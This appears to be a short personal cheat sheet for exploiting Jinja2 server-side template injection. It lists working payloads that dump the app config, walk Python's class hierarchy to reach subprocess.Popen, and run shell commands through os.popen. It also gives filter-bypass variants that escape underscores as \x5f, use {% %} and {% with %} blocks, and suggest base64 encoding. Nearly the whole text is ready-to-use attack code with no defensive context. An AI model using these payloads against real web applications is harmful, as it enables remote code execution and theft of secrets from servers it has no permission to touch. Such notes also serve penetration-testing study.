Method Resolution Order (mro): allows to go up the inherited objects chain
subclasses: going down the inheritance chain
Jinja2 template formts:
`{% ... %}`
`{% ... %}`
RCE Methods
subprocess.pOpen method
# print all config vars{{config}}{{self.__dict__}}{{config.items()}}# find the mro object[X] to list all subclasses{{ ''.__class__.__mro__ }}{{ ''.__class__.__mro__[X].__subclasses__() }} => list of all subclasses# find subprocess.pOpen class{{ ''.__class__.__mro__[X].__subclasses__()[XXX] }} => <class 'subprocess.pOpen'># RCE{{ ''.__class__.__mro__[X].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate() }}
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}# modifying {{ }} to a different method using {% %}# modifying ' to "# modifying _ to \x5f{%request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() %}# using operator:with# {% with %} ... {% endwith %} {%withkashz=request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("id")["read"]() %}kashz{%endwith%}# can try using bas64 payload